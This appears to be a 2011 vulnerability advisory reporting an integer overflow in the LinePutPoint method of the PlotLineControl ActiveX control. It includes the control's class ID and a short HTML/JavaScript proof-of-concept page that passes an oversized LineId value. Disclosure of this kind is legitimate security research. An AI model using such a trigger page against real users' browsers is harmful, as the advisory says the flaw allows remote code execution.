exploit the possibilities

PlotLineCentral Integer Overflow

PlotLineCentral Integer Overflow
Posted Oct 31, 2011
Authored by demonalex

PlotLineCentral suffers from an integer overflow vulnerability.

tags | exploit, overflow
MD5 | 9d304deba97639b78f2a7934a7a12fdb

PlotLineCentral Integer Overflow

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Title: PlotLineControl ActiveX Control "LinePutPoint" Integer Overflow

Software: PlotLineControl ActiveX Control(Version 2.0)

Vulnerability Published :2011-10-30

Vulnerability Update Time :2010-06-10

Vendor: No vendor response

Impact: Median

Bug Description:
PlotLineControl is a free ActiveX Control which was easy for drawing circle.
User-supplied data in "LineId" parameter is not properly integrity-checked before being copied into an insufficiently sized buffer in "LinePutPoint()" method.
Successfully exploiting the vulnerability allows remote attackers to execute arbitrary code in the context of the vulnerable application using the ActiveX control.

Class Info:
Class PlotLine
GUID: {70D036E3-60C0-11D7-B4C2-A7A5AF6F7E11}
Number of Interfaces: 1
Default Interface: PlotX
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

PoC:
****************************************************************
<html>
<body>
<object classid='clsid:70D036E3-60C0-11D7-B4C2-A7A5AF6F7E11' id='target'></object>
<script language='javascript'>
var arg1 = 1;
var arg2 = 1;
var arg3 = 2147482111;
target.LinePutPoint(arg1 ,arg2 ,arg3);
</script>
</body>
</html>
****************************************************************

Credits: This vulnerability was discovered by demonalex (at) 163 (dot) com [email concealed]
Pentester/Researcher
Dark2S Security Team/PolyU.HK

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